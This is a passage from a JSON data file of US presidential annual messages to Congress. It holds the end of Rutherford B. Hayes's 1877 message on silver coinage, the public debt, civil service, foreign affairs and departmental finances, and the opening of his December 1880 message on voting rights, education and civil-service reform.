of such legislation that I desire to recommend\nto your attention.In any legislation providing for a silver coinage, regulating its value,\nand imparting to it the quality of legal tender, it seems to me of great\nimportance that Congress should not lose sight of its action as operating\nin a twofold capacity and in two distinct directions. If the United States\nGovernment were free from a public debt, its legislative dealing with the\nquestion of silver coinage would be purely sovereign and governmental,\nunder no restraints but those of constitutional power and the public good\nas affected by the proposed legislation. But in the actual circumstances of\nthe nation, with a vast public debt distributed very widely among our own\ncitizens and held in great amounts also abroad, the nature of the\nsilver-coinage measure, as affecting this relation of the Government to the\nholders of the public debt, becomes an element, in any proposed\nlegislation, of the highest concern. The obligation of the public faith\ntranscends all questions of profit or public advantage otherwise. Its\nunquestionable maintenance is the dictate as well of the highest expediency\nas of the most necessary duty, and will ever be carefully guarded by\nCongress and people alike.The public debt of the United States to the amount of $729,000,000 bears\ninterest at the rate of 6 per cent, and $708,000,000 at the rate of 5 per\ncent, and the only way in which the country can be relieved from the\npayment of these high rates of interest is by advantageously refunding the\nindebtedness. Whether the debt is ultimately paid in gold or in silver coin\nis of but little moment compared with the possible reduction of interest\none-third by refunding it at such reduced rate. If the United States had\nthe unquestioned right to pay its bonds in silver coin, the little benefit\nfrom that process would be greatly overbalanced by the injurious effect of\nsuch payment if made or proposed against the honest convictions of the\npublic creditors.All the bonds that have been issued since February 12, 1873, when gold\nbecame the only unlimited legal-tender metallic currency of the country,\nare justly payable in gold coin or in coin of equal value. During the time\nof these issues the only dollar that could be or was received by the\nGovernment in exchange for bonds was the gold dollar. To require the public\ncreditors to take in repayment any dollar of less commercial value would be\nregarded by them as a repudiation of the full obligation assumed. The bonds\nissued prior to 1873 were issued at a time when the gold dollar was the\nonly coin in circulation or contemplated by either the Government or the\nholders of the bonds as the coin in which they were to be paid. It is far\nbetter to pay these bonds in that coin than to seem to take advantage of\nthe unforeseen fall in silver bullion to pay in a new issue of silver coin\nthus made so much less valuable. The power of the United States to coin\nmoney and to regulate the value thereof ought never to be exercised for the\npurpose of enabling the Government to pay its obligations in a coin of less\nvalue than that contemplated by the parties when the bonds were issued. Any\nattempt to pay the national indebtedness in a coinage of less commercial\nvalue than the money of the world would involve a violation of the public\nfaith and work irreparable injury to the public credit.It was the great merit of the act of March, 1869, in strengthening the\npublic credit, that it removed all doubt as to the purpose of the United\nStates to pay their bonded debt in coin. That act was accepted as a pledge\nof public faith. The Government has derived great benefit from it in the\nprogress thus far made in refunding the public debt at low rates of\ninterest. An adherence to the wise and just policy of an exact observance\nof the public faith will enable the Government rapidly to reduce the burden\nof interest on the national debt to an amount exceeding $20,000,000 per\nannum, and effect an aggregate saving to the United States of more than\n$300,000,000 before the bonds can be fully paid.In adapting the new silver coinage to the ordinary uses of currency in the\neveryday transactions of life and prescribing the quality of legal tender\nto be assigned to it, a consideration of the first importance should be so\nto adjust the ratio between the silver and the gold coinage, which now\nconstitutes our specie currency, as to accomplish the desired end of\nmaintaining the circulation of the two metallic currencies and keeping up\nthe volume of the two precious metals as our intrinsic money. It is a mixed\nquestion, for scientific reasoning and historical experience to determine,\nhow far and by what methods a practical equilibrium can be maintained which\nwill keep both metals in circulation in their appropriate spheres of common\nuse.An absolute equality of commercial value, free from disturbing\nfluctuations, is hardly attainable, and without it an unlimited legal\ntender for private transactions assigned to both metals would irresistibly\ntend to drive out of circulation the clearer coinage and disappoint the\nprincipal object proposed by the legislation in view. I apprehend,\ntherefore, that the two conditions of a near approach to equality of\ncommercial value between the gold and silver coinage of the same\ndenomination and of a limitation of the amounts for which the silver\ncoinage is to be a legal tender are essential to maintaining both in\ncirculation. If these conditions can be successfully observed, the issue\nfrom the mint of silver dollars would afford material assistance to the\ncommunity in the transition to redeemable paper money, and would facilitate\nthe resumption of specie payment and its permanent establishment. Without\nthese conditions I fear that only mischief and misfortune would flow from a\ncoinage of silver dollars with the quality of unlimited legal tender, even\nin private transactions.Any expectation of temporary ease from an issue of silver coinage to pass\nas a legal tender at a rate materially above its commercial value is, I am\npersuaded, a delusion. Nor can I think that there is any substantial\ndistinction between an original issue of silver dollars at a nominal value\nmaterially above their commercial value and the restoration of the silver\ndollar at a rate which once was, but has ceased to be, its commercial\nvalue. Certainly the issue of our gold coinage, reduced in weight\nmaterially below its legal-tender value, would not be any the less a\npresent debasement of the coinage by reason of its equaling, or even\nexceeding, in weight a gold coinage which at some past time had been\ncommercially equal to the legal-tender value assigned to the new issue.In recommending that the regulation of any silver coinage which may be\nauthorized by Congress should observe these conditions of commercial value\nand limited legal tender, I am governed by the feeling that every possible\nincrease should be given to the volume of metallic money which can be kept\nin circulation, and thereby every possible aid afforded to the people in\nthe process of resuming specie payments. It is because of my firm\nconviction that a disregard of these conditions would frustrate the good\nresults which are desired from the proposed coinage, and embarrass with new\nelements of confusion and uncertainty the business of the country, that I\nurge upon your attention these considerations.I respectfully recommend to Congress that in any legislation providing for\na silver coinage and imparting to it the quality of legal tender there be\nimpressed upon the measure a firm provision exempting the public debt\nheretofore issued and now outstanding from payment, either of principal or\ninterest, in any coinage of less commercial value than the present gold\ncoinage of the country.The organization of the civil service of the country has for a number of\nyears attracted more and more of the public attention. So general has\nbecome the opinion that the methods of admission to it and the conditions\nof remaining in it are unsound that both the great political parties have\nagreed in the most explicit declarations of the necessity of reform and in\nthe most emphatic demands for it. I have fully believed these declarations\nand demands to be the expression of a sincere conviction of the intelligent\nmasses of the people upon the subject, and that they should be recognized\nand followed by earnest and prompt action on the part of the legislative\nand executive departments of the Government, in pursuance of the purpose\nindicated.Before my accession to office I endeavored to have my own views distinctly\nunderstood, and upon my inauguration my accord with the public opinion was\nstated in terms believed to be plain and unambiguous. My experience in the\nexecutive duties has strongly confirmed the belief in the great advantage\nthe country would find in observing strictly the plan of the Constitution,\nwhich imposes upon the Executive the sole duty and responsibility of the\nselection of those Federal officers who by law are appointed, not elected,\nand which in like manner assigns to the Senate the complete right to advise\nand consent to or to reject the nominations so made, whilst the House of\nRepresentatives stands as the public censor of the performance of official\nduties, with the prerogative of investigation and prosecution in all cases\nof dereliction. The blemishes and imperfections in the civil service may,\nas I think, be traced in most cases to a practical confusion of the duties\nassigned to the several Departments of the Government. My purpose in this\nrespect has been to return to the system established by the fundamental\nlaw, and to do this with the heartiest cooperation and most cordial\nunderstanding with the Senate and House of Representatives.The practical difficulties in the selection of numerous officers for posts\nof widely varying responsibilities and duties are acknowledged to be very\ngreat. No system can be expected to secure absolute freedom from mistakes,\nand the beginning of any attempted change of custom is quite likely to be\nmore embarrassed in this respect than any subsequent period. It is here\nthat the Constitution seems to me to prove its claim to the great wisdom\naccorded to it. It gives to the Executive the assistance of the knowledge\nand experience of the Senate, which, when acting upon nominations as to\nwhich they may be disinterested and impartial judges, secures as strong a\nguaranty of freedom from errors of importance as is perhaps possible in\nhuman affairs.In addition to this, I recognize the public advantage of making all\nnominations, as nearly as possible, impersonal, in the sense of being free\nfrom mere caprice or favor in the selection; and in those offices in which\nspecial training is of greatly increased value I believe such a rule as to\nthe tenure of office should obtain as may induce men of proper\nqualifications to apply themselves industriously to the task of becoming\nproficients. Bearing these things in mind, I have endeavored to reduce the\nnumber of changes in subordinate places usually made upon the change of the\ngeneral administration, and shall most heartily cooperate with Congress in\nthe better systematizing of such methods and rules of admission to the\npublic service and of promotion within it as, may promise to be most\nsuccessful in making thorough competency, efficiency, and character the\ndecisive tests in these matters.I ask the renewed attention of Congress to what has already been done by\nthe Civil Service Commission, appointed, in pursuance of an act of\nCongress, by my predecessor, to prepare and revise civil-service rules. In\nregard to much of the departmental service, especially at Washington, it\nmay be difficult to organize a better system than that which has thus been\nprovided, and it is now being used to a considerable extent under my\ndirection. The Commission has still a legal existence, although for several\nyears no appropriation has been made for defraying its expenses. Believing\nthat this Commission has rendered valuable service and will be a most\nuseful agency in improving the administration of the civil service, I\nrespectfully recommend that a suitable appropriation, to be immediately\navailable, be made to enable it to continue its labors.It is my purpose to transmit to Congress as early as practicable a report\nby the chairman of the Commission, and to ask your attention to such\nmeasures on this subject as in my opinion will further promote the\nimprovement of the civil service.During the past year the United States have continued to maintain peaceful\nrelations with foreign powers.The outbreak of war between Russia and Turkey, though at one time attended\nby grave apprehension as to its effect upon other European nations, has had\nno tendency to disturb the amicable relations existing between the United\nStates and each of the two contending powers. An attitude of just and\nimpartial neutrality has been preserved, and I am gratified to state that\nin the midst of their hostilities both the Russian and the Turkish\nGovernments have shown an earnest disposition to adhere to the obligations\nof all treaties with the United States and to give due regard to the rights\nof American citizens.By the terms of the treaty defining the rights, immunities, and privileges\nof consuls, between Italy and the United States, ratified in 1868, either\nGovernment may, after the lapse of ten years, terminate the existence of\nthe treaty by giving twelve months' notice of its intention. The Government\nof Italy, availing itself of this faculty, has now given the required\nnotice, and the treaty will accordingly end on the 17th of September, 1878.\nIt is understood, however, that the Italian Government wishes to renew it\nin its general scope, desiring only certain modifications in some of its\narticles. In this disposition I concur, and shall hope that no serious\nobstacles may intervene to prevent or delay the negotiation of a\nsatisfactory treaty.Numerous questions in regard to passports, naturalization, and exemption\nfrom military service have continued to arise in cases of emigrants from\nGermany who have returned to their native country. The provisions of the\ntreaty of February 22, 1868, however, have proved to be so ample and so\njudicious that the legation of the United States at Berlin has been able to\nadjust all claims arising under it, not only without detriment to the\namicable relations existing between the two Governments, but, it is\nbelieved, without injury or injustice to any duly naturalized American\ncitizen. It is desirable that the treaty originally made with the North\nGerman Union in 1868 should now be extended so as to apply equally to all\nthe States of the Empire of Germany.The invitation of the Government of France to participate in the Exposition\nof the Products of Agriculture, Industry, and the Fine Arts to be held at\nParis during the coming year was submitted for your consideration at the\nextra session. It is not doubted that its acceptance by the United States,\nand a well-selected exhibition of the products of American industry on that\noccasion, will tend to stimulate international commerce and emigration, as\nwell as to promote the traditional friendship between the two countries.A question arose some time since as to the proper meaning of the\nextradition articles of the treaty of 1842 between the United States and\nGreat Britain. Both Governments, however, are now in accord in the belief\nthat the question is not one that should be allowed to frustrate the ends\nof justice or to disturb the friendship between the two nations. No serious\ndifficulty has arisen in accomplishing the extradition of criminals when\nnecessary. It is probable that all points of disagreement will in due time\nbe settled, and, if need be, more explicit declarations be made in a new\ntreaty.The Fishery Commission under Articles XVIII to XXV of the treaty of\nWashington has concluded its session at Halifax. The result of the\ndeliberations of the commission, as made public by the commissioners, will\nbe communicated to Congress.A treaty for the protection of trade-marks has been negotiated with Great\nBritain, which has been submitted to the Senate for its consideration.The revolution which recently occurred in Mexico was followed by the\naccession of the successful party to power and the installation of its\nchief, General Porfirio Diaz, in the Presidential office. It has been the\ncustom of the United States, when such changes of government have\nheretofore occurred in Mexico, to recognize and enter into official\nrelations with the de facto government as soon as it should appear to have\nthe approval of the Mexican people and should manifest a disposition to\nadhere to the obligations of treaties and international friendship. In the\npresent case such official recognition has been deferred by the occurrences\non the Rio Grande border, the records of which have been already\ncommunicated to each House of Congress in answer to their respective\nresolutions of inquiry. Assurances have been received that the authorities\nat the seat of the Mexican Government have both the disposition and the\npower to prevent and punish such unlawful invasions and depredations. It is\nearnestly to be hoped that events may prove these assurances to be well\nrounded. The best interests of both countries require the maintenance of\npeace upon the border and the development of commerce between the two\nRepublics.It is gratifying to add that this temporary interruption of official\nrelations has not prevented due attention by the representatives of the\nUnited States in Mexico to the protection of American citizens, so far as\npracticable; nor has it interfered with the prompt payment of the amounts\ndue from Mexico to the United States under the treaty of July 4, 1868, and\nthe awards of the joint commission. While I do not anticipate an\ninterruption of friendly relations with Mexico, yet I can not but look with\nsome solicitude upon a continuance of border disorders as exposing the two\ncountries to initiations of popular feeling and mischances of action which\nare naturally unfavorable to complete amity. Firmly determined that nothing\nshall be wanting on my part to promote a good understanding between the two\nnations, I yet must ask the attention of Congress to the actual occurrences\non the border, that the lives and property of our citizens may be\nadequately protected and peace preserved.Another year has passed without bringing to a close the protracted contest\nbetween the Spanish Government and the insurrection in the island of Cuba.\nWhile the United States have sedulously abstained from any intervention in\nthis contest, it is impossible not to feel that it is attended with\nincidents affecting the rights and interests of American citizens. Apart\nfrom the effect of the hostilities upon trade between the United States and\nCuba, their progress is inevitably accompanied by complaints, having more\nor less foundation, of searches, arrests, embargoes, and oppressive taxes\nupon the property of American residents, and of unprovoked interference\nwith American vessels and commerce. It is due to the Government of Spain to\nsay that during the past year it has promptly disavowed and offered\nreparation for any unauthorized acts of unduly zealous subordinates\nwhenever such acts have been brought to its attention. Nevertheless, such\noccurrences can not but tend to excite feelings of annoyance, suspicion,\nand resentment, which are greatly to be deprecated, between the respective\nsubjects and citizens of two friendly powers.Much delay (consequent upon accusations of fraud in some of the awards) has\noccurred in respect to the distribution of the limited amounts received\nfrom Venezuela under the treaty of April 25, 1866, applicable to the awards\nof the joint commission created by that treaty. So long as these matters\nare pending in Congress the Executive can not assume either to pass upon\nthe questions presented or to distribute the fund received. It is eminently\ndesirable that definite legislative action should be taken, either\naffirming the awards to be final or providing some method for reexamination\nof the claims. Our relations with the Republics of Central and South\nAmerica and with the Empire of Brazil have continued without serious\nchange, further than the temporary interruption of diplomatic intercourse\nwith Venezuela and with Guatemala. Amicable relations have already been\nfully restored with Venezuela, and it is not doubted that all grounds of\nmisunderstanding with Guatemala will speedily be removed. From all these\ncountries there are favorable indications of a disposition on the part of\ntheir Governments and people to reciprocate our efforts in the direction of\nincreased commercial intercourse.The Government of the Samoan Islands has sent an envoy, in the person of\nits secretary of state, to invite the Government of the United States to\nrecognize and protect their independence, to establish commercial relations\nwith their people, and to assist them in their steps toward regulated and\nresponsible government. The inhabitants of these islands, having made\nconsiderable progress in Christian civilization and the development of\ntrade, are doubtful of their ability to maintain peace and independence\nwithout the aid of some stronger power. The subject is deemed worthy of\nrespectful attention, and the claims upon our assistance by this distant\ncommunity will be carefully considered.The long commercial depression in the United States has directed attention\nto the subject of the possible increase of our foreign trade and the\nmethods for its development, not only with Europe, but with other\ncountries, and especially with the States and sovereignties of the Western\nHemisphere. Instructions from the Department of State were issued to the\nvarious diplomatic and consular officers of the Government, asking them to\ndevote attention to the question of methods by which trade between the\nrespective countries of their official residence and the United States\ncould be most judiciously fostered. In obedience to these instructions,\nexaminations and reports upon this subject have been made by many of these\nofficers and transmitted to the Department, and the same are submitted to\nthe consideration of Congress.The annual report of the Secretary of the Treasury on the state of the\nfinances presents important questions for the action of Congress, upon some\nof which I have already remarked.The revenues of the Government during the fiscal year ending June 30, 1877,\nwere $269,000,586.62; the total expenditures for the same period were\n$238,660,008.93, leaving a surplus revenue of $30,340,577.69. This has\nsubstantially supplied the requirements of the sinking fund for that year.\nThe estimated revenues of the current fiscal year are $265,500,000, and the\nestimated expenditures for the same period are $232,430,643.72. If these\nestimates prove to be correct, there will be a surplus revenue of\n$33,069,356.28--an amount nearly sufficient for the sinking fund for that\nyear. The estimated revenues for the next fiscal year are $269,250,000. It\nappears from the report that during the last fiscal year the revenues of\nthe Government, compared with the previous year, have largely decreased.\nThis decrease, amounting to the sum of $18,481,452.54, was mainly in\ncustoms duties, caused partly by a large falling off of the amount of\nimported dutiable goods and partly by the general fall of prices in the\nmarkets of production of such articles as pay ad valorem taxes.While this is felt injuriously in the diminution of the revenue, it has\nbeen accompanied with a very large increase of exportations. The total\nexports during the last fiscal year, including coin, have been\n$658,637,457, and the imports have been $492,097,540, leaving a balance of\ntrade in favor of the United States amounting to the sum of $166,539,917,\nthe beneficial effects of which extend to all branches of business.The estimated revenue for the next fiscal year will impose upon Congress\nthe duty of strictly limiting appropriations, including the requisite sum\nfor the maintenance of the sinking fund, within the aggregate estimated\nreceipts.While the aggregate of taxes should not be increased, amendments might be\nmade to the revenue laws that would, without diminishing the revenue,\nrelieve the people from unnecessary burdens. A tax on tea and coffee is\nshown by the experience not only of our own country, but of other\ncountries, to be easily collected, without loss by undervaluation or fraud,\nand largely borne in the country of production. A tax of 10 cents a pound\non tea and 2 cents a pound on coffee would produce a revenue exceeding\n$12,000,000, and thus enable Congress to repeal a multitude of annoying\ntaxes yielding a revenue not exceeding that sum. The internal-revenue\nsystem grew out of the necessities of the war, and most of the legislation\nimposing taxes upon domestic products under this system has been repealed.\nBy the substitution of a tax on tea and coffee all forms of internal\ntaxation may be repealed, except that on whisky, spirits, tobacco, and\nbeer. Attention is also called to the necessity of enacting more vigorous\nlaws for the protection of the revenue and for the punishment of frauds and\nsmuggling. This can best be done by judicious provisions that will induce\nthe disclosure of attempted fraud by undervaluation and smuggling. All\nrevenue laws should be simple in their provisions and easily understood. So\nfar as practicable, the rates of taxation should be in the form of specific\nduties, and not ad valorem, requiring the judgment of experienced men to\nascertain values and exposing the revenue to the temptation of fraud.My attention has been called during the recess of Congress to abuses\nexisting in the collection of the customs, and strenuous efforts have been\nmade for their correction by Executive orders. The recommendations\nsubmitted to the Secretary of the Treasury by a commission appointed to\nexamine into the collection of customs duties at the port of New York\ncontain many suggestions for the modification of the customs laws, to which\nthe attention of Congress is invited.It is matter of congratulation that notwithstanding the severe burdens\ncaused by the war the public faith with all creditors has been preserved,\nand that as the result of this policy the public credit has continuously\nadvanced and our public securities are regarded with the highest favor in\nthe markets of the world. I trust that no act of the Government will cast a\nshadow upon its credit.The progress of refunding the public debt has been rapid and satisfactory.\nUnder the contract existing when I entered upon the discharge of the duties\nof my office, bonds bearing interest at the rate of 4 1/2 per cent were\nbeing rapidly sold, and within three months the aggregate sales of these\nbonds had reached the sum of $200,000,000. With my sanction the Secretary\nof the Treasury entered into a new contract for the sale of 4 per cent\nbonds, and within thirty days after the popular subscription for such bonds\nwas opened subscriptions were had amounting to $75,496,550, which were paid\nfor within ninety days after the date of subscription. By this process,\nwithin but little more than one year, the annual interest on the public\ndebt was reduced in the sum of $3,775,000.I recommended that suitable provision be made to enable the people to\neasily convert their savings into Government securities, as the best mode\nin which small savings may be well secured and yield a moderate interest.\nIt is an object of public policy to retain among our own people the\nsecurities of the United States. In this way our country is guarded against\ntheir sudden return from foreign countries, caused by war or other\ndisturbances beyond our limits.The commerce of the United States with foreign nations, and especially the\nexport of domestic productions, has of late years largely increased; but\nthe greater portion of this trade is conducted in foreign vessels. The\nimportance of enlarging our foreign trade, and especially by direct and\nspeedy interchange with countries on this continent, can not be\noverestimated; and it is a matter of great moment that our own shipping\ninterest should receive, to the utmost practical extent, the benefit of our\ncommerce with other lands. These considerations are forcibly urged by all\nthe large commercial cities of the country, and public attention is\ngenerally and wisely attracted to the solution of the problems they\npresent. It is not doubted that Congress will take them up in the broadest\nspirit of liberality and respond to the public demand by practical\nlegislation upon this important subject.The report of the Secretary of War shows that the Army has been actively\nemployed during the year, and has rendered very important service in\nsuppressing hostilities in the Indian country and in preserving peace and\nprotecting life and property in the interior as well as along the Mexican\nborder. A long and arduous campaign has been prosecuted, with final\ncomplete success, against a portion of the Nez Perce tribe of Indians. A\nfull account of this campaign will be found in the report of the General of\nthe Army. It will be seen that in its course several severe battles were\nfought, in which a number of gallant officers and men lost their lives. I\njoin with the Secretary of War and the General of the Army in awarding to\nthe officers and men employed in the long and toilsome pursuit and in the\nfinal capture of these Indians the honor and praise which are so justly\ntheir due.The very serious riots which occurred in several of the States in July last\nrendered necessary the employment of a considerable portion of the Army to\npreserve the peace and maintain order. In the States of West Virginia,\nMaryland, Pennsylvania, and Illinois these disturbances were so formidable\nas to defy the local and State authorities, and the National Executive was\ncalled upon, in the mode provided by the Constitution and laws, to furnish\nmilitary aid. I am gratified to be able to state that the troops sent in\nresponse to these calls for aid in the suppression of domestic violence\nwere able, by the influence of their presence in the disturbed regions, to\npreserve the peace and restore order without the use of force. In the\ndischarge of this delicate and important duty both officers and men acted\nwith great prudence and courage, and for their services deserve the thanks\nof the country.Disturbances along the Rio Grande in Texas, to which I have already\nreferred, have rendered necessary the constant employment of a military\nforce in that vicinity. A full report of all recent military operations in\nthat quarter has been transmitted to the House of Representatives in answer\nto a resolution of that body, and it will therefore not be necessary to\nenter into details. I regret to say that these lawless incursions into our\nterritory by armed bands from the Mexican side of the line, for the purpose\nof robbery, have been of frequent occurrence, and in spite of the most\nvigilant efforts of the commander of our forces the marauders have\ngenerally succeeded in escaping into Mexico with their plunder. In May last\nI gave orders for the exercise of the utmost vigilance on the part of our\ntroops for the suppression of these raids and the punishment of the guilty\nparties, as well as the recapture of property stolen by them. General Ord,\ncommanding in Texas, was directed to invite the cooperation of the Mexican\nauthorities in efforts to this end, and to assure them that I was anxious\nto avoid giving the least offense to Mexico. At the same time, he was\ndirected to give notice of my determination to put an end to the invasion\nof our territory by lawless bands intent upon the plunder of our peaceful\ncitizens, even if the effectual punishment of the outlaws should make the\ncrossing of the border by our troops in their pursuit necessary. It is\nbelieved that this policy has had the effect to check somewhat these\ndepredations, and that with a considerable increase of our force upon that\nfrontier and the establishment of several additional military posts along\nthe Rio Grande, so as more effectually to guard that extensive border,\npeace may be preserved and the lives and property of our citizens in Texas\nfully protected.Prior to the 1st day of July last the Army was, in accordance with law,\nreduced to the maximum of 25,000 enlisted men, being a reduction of 2,500\nbelow the force previously authorized. This reduction was made, as required\nby law, entirely from the infantry and artillery branches of the service,\nwithout any reduction of the cavalry. Under the law as it now stands it is\nnecessary that the cavalry regiments be recruited to 100 men in each\ncompany for service on the Mexican and Indian frontiers. The necessary\neffect of this legislation is to reduce the infantry and artillery arms of\nthe service below the number required for efficiency, and I concur with the\nSecretary of War in recommending that authority be given to recruit all\ncompanies of infantry to at least 50 men and all batteries of artillery to\nat least 75 men, with the power, in case of emergency, to increase the\nformer to 100 and the latter to 122 men each.I invite your special attention to the following recommendations of the\nSecretary of War:First. That provision be made for supplying to the Army a more abundant and\nbetter supply of reading matter.Second. That early action be taken by Congress looking to a complete\nrevision and republication of the Army Regulations.Third. That section 1258 of the Revised Statutes, limiting the number of\nofficers on the retired list, be repealed.Fourth. That the claims arising under the act of July 4, 1864, for supplies\ntaken by the Army during the war, be taken from the offices of the\nQuartermaster and Commissary Generals and transferred to the Southern\nClaims Commission, or some other tribunal having more time and better\nfacilities for their prompt investigation and decision than are possessed\nby these officers.Fifth. That Congress provide for an annuity fund for the families of\ndeceased soldiers, as recommended by the paymaster-General of the Army.The report of the Secretary of the Navy shows that we have six squadrons\nnow engaged in the protection of our foreign commerce and other duties\npertaining to the naval service. The condition and operations of the\nDepartment are also shown. The total expenditures for the fiscal year\nending June 30, 1877, were $16,077,974.54. There are unpaid claims against\nthe Department chargeable to the last year, which are presented to the\nconsideration of Congress by the report of the Secretary. The estimates for\nthe fiscal year commencing July 1, 1878, are $16,233,234.40, exclusive of\nthe sum of $2,314,231 submitted for new buildings, repairs, and\nimprovements at the several navy-yards. The appropriations for the present\nfiscal year, commencing July 1, 1877, are $13,592,932.90. The amount drawn\nfrom the Treasury from July 1 to November 1, 1877, is $5,343,037.40, of\nwhich there is estimated to be yet available $1,029,528.30, showing the\namount of actual expenditure during the first four months of the present\nfiscal year to have been $4,313,509.10.The report of the Postmaster-General contains a full and clear statement of\nthe operations and condition of the Post-Office Department. The ordinary\nrevenues of the Department for the fiscal year ending June 30, 1877,\nincluding receipts from the money-order business and from official stamps\nand stamped envelopes, amounted to the sum of $27,531,585.26. The\nadditional sum of $7,013,000 was realized from appropriations from the\ngeneral Treasury for various purposes, making the receipts from all sources\n$34,544,885.26. The total expenditures during the fiscal year amounted to\n$33,486,322.44, leaving an excess of total receipts over total expenditures\nof $1,058,562.82, and an excess of total expenditures over ordinary\nreceipts of $5,954,737.18. Deducting from the total receipts the sum of\n$63,261.84, received from international money orders of the preceding\nfiscal year, and deducting from the total expenditures the sum of\n$1,163,818.20, paid on liabilities incurred in previous fiscal years, the\nexpenditures and receipts appertaining to the business of the last fiscal\nyear were as follows:Expenditures - $32,322,504.24Receipts (ordinary, from money-order business and\nfrom official postage stamps) - 27,468,323,420 -", 
+    "name": "Rutherford B. Hayes"
+}
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+{
+    "date": "December 6, 1880", 
+    "speech": "Fellow-Citizens of the Senate and House of Representatives:I congratulate you on the continued and increasing prosperity of our\ncountry. By the favor of Divine Providence we have been blessed during the\npast year with health, with abundant harvests, with profitable employment\nfor all our people, and with contentment at home, and with peace and\nfriendship with other nations. The occurrence of the twenty-fourth election\nof Chief Magistrate has afforded another opportunity to the people of the\nUnited States to exhibit to the world a significant example of the peaceful\nand safe transmission of the power and authority of government from the\npublic servants whose terms of office are about to expire to their newly\nchosen successors. This example can not fail to impress profoundly\nthoughtful people of other countries with the advantages which republican\ninstitutions afford. The immediate, general, and cheerful acquiescence of\nall good citizens in the result of the election gives gratifying assurance\nto our country and to its friends throughout the world that a government\nbased on the free consent of an intelligent and patriotic people possesses\nelements of strength, stability, and permanency not found in any other form\nof government.Continued opposition to the full and free enjoyment of the rights of\ncitizenship conferred upon the colored people by the recent amendments to\nthe Constitution still prevails in several of the late slaveholding States.\nIt has, perhaps, not been manifested in the recent election to any large\nextent in acts of violence or intimidation. It has, however, by fraudulent\npractices in connection with the ballots, with the regulations as to the\nplaces and manner of voting, and with counting, returning, and canvassing\nthe votes cast, been successful in defeating the exercise of the right\npreservative of all rights--the right of suffrage--which the Constitution\nexpressly confers upon our enfranchised citizens.It is the desire of the good people of the whole country that sectionalism\nas a factor in our politics should disappear. They prefer that no section\nof the country should be united in solid opposition to any other section.\nThe disposition to refuse a prompt and hearty obedience to the equal-rights\namendments to the Constitution is all that now stands in the way of a\ncomplete obliteration of sectional lines in our political contests. As long\nas either of these amendments is flagrantly violated or disregarded, it is\nsafe to assume that the people who placed them in the Constitution, as\nembodying the legitimate results of the war for the Union, and who believe\nthem to be wise and necessary, will continue to act together and to insist\nthat they shall be obeyed. The paramount question still is as to the\nenjoyment of the fight by every American citizen who has the requisite\nqualifications to freely cast his vote and to have it honestly counted.\nWith this question rightly settled, the country will be relieved of the\ncontentions of the past; bygones will indeed be bygones, and political and\nparty issues, with respect to economy and efficiency of administration,\ninternal improvements, the tariff, domestic taxation, education, finance,\nand other important subjects, will then receive their full share of\nattention; but resistance to and nullification of the results of the war\nwill unite together in resolute purpose for their support all who maintain\nthe authority of the Government and the perpetuity of the Union, and who\nadequately appreciate the value of the victory achieved. This determination\nproceeds from no hostile sentiment or feeling to any part of the people of\nour country or to any of their interests. The inviolability of the\namendments rests upon the fundamental principle of our Government. They are\nthe solemn expression of the will of the people of the United States.The sentiment that the constitutional rights of all our citizens must be\nmaintained does not grow weaker. It will continue to control the Government\nof the country. Happily, the history of the late election shows that in\nmany parts of the country where opposition to the fifteenth amendment has\nheretofore prevailed it is diminishing, and is likely to cease altogether\nif firm and well-considered action is taken by Congress. I trust the House\nof Representatives and the Senate, which have the right to judge of the\nelections, returns, and qualifications of their own members, will see to it\nthat every case of violation of the letter or spirit of the fifteenth\namendment is thoroughly investigated, and that no benefit from such\nviolation shall accrue to any person or party. It will be the duty of the\nExecutive, with sufficient appropriations for the purpose, to prosecute\nunsparingly all who have been engaged in depriving citizens of the rights\nguaranteed to them by the Constitution.It is not, however, to be forgotten that the best and surest guaranty of\nthe primary rights of citizenship is to be found in that capacity for\nself-protection which can belong only to a people whose right to universal\nsuffrage is supported by universal education. The means at the command of\nthe local and State authorities are in many cases wholly inadequate to\nfurnish free instruction to all who need it. This is especially true where\nbefore emancipation the education of the people was neglected or prevented,\nin the interest of slavery. Firmly convinced that the subject of popular\neducation deserves the earnest attention of the people of the whole\ncountry, with a view to wise and comprehensive action by the Government of\nthe United States, I respectfully recommend that Congress, by suitable\nlegislation and with proper safeguards, supplement the local educational\nfunds in the several States where the grave duties and responsibilities of\ncitizenship have been devolved on uneducated people by devoting to the\npurpose grants of the public lands and, if necessary, by appropriations\nfrom the Treasury of the United States. Whatever Government can fairly do\nto promote free popular education ought to be done. Wherever general\neducation is found, peace, virtue, and social order prevail and civil and\nreligious liberty are secure.In my former annual messages I have asked the attention of Congress to the\nurgent necessity of a reformation of the civil-service system of the\nGovernment. My views concerning the dangers of patronage, or appointments\nfor personal or partisan considerations, have been strengthened by my\nobservation and experience in the Executive office, and I believe these\ndangers threaten the stability of the Government. Abuses so serious in\ntheir nature can not be permanently tolerated. They tend to become more\nalarming with the enlargement of administrative service, as the growth of\nthe country in population increases the number of officers and placemen\nemployed.The reasons are imperative for the adoption of fixed rules for the\nregulation of appointments, promotions, and removals, establishing a\nuniform method having exclusively in view in every instance the attainment\nof the best qualifications for the position in question. Such a method\nalone is consistent with the equal rights of all citizens and the most\neconomical and efficient administration of the public business.Competitive examinations in aid of impartial appointments and promotions\nhave been conducted for some years past in several of the Executive\nDepartments, and by my direction this system has been adopted in the\ncustom-houses and post-offices of the larger cities of the country. In the\ncity of New York over 2,000 positions in the civil service have been\nsubject in their appointments and tenure of place to the operation of\npublished rules for this purpose during the past two years. The results of\nthese practical trials have been very satisfactory, and have confirmed my\nopinion in favor of this system of selection. All are subjected to the same\ntests, and the result is free from prejudice by personal favor or partisan\ninfluence. It secures for the position applied for the best qualifications\nattainable among the competing applicants. It is an effectual protection\nfrom the pressure of importunity, which under any other course pursued\nlargely exacts the time and attention of appointing officers, to their\ngreat detriment in the discharge of other official duties preventing the\nabuse of the service for the mere furtherance of private or party purposes,\nand leaving the employee of the Government, freed from the obligations\nimposed by patronage, to depend solely upon merit for retention and\nadvancement, and with this constant incentive to exertion and improvement.These invaluable results have been attained in a high degree in the offices\nwhere the rules for appointment by competitive examination have been\napplied.A method which has so approved itself by experimental tests at points where\nsuch tests may be fairly considered conclusive should be extended to all\nsubordinate positions under the Government. I believe that a strong and\ngrowing public sentiment demands immediate measures for securing and\nenforcing the highest possible efficiency in the civil service and its\nprotection from recognized abuses, and that the experience referred to has\ndemonstrated the feasibility of such measures.The examinations in the custom-houses and post-offices have been held under\nmany embarrassments and without provision for compensation for the extra\nlabor performed by the officers who have conducted them, and whose\ncommendable interest in the improvement of the public service has induced\nthis devotion of time and labor without pecuniary reward. A continuance of\nthese labors gratuitously ought not to be expected, and without an\nappropriation by Congress for compensation it is not 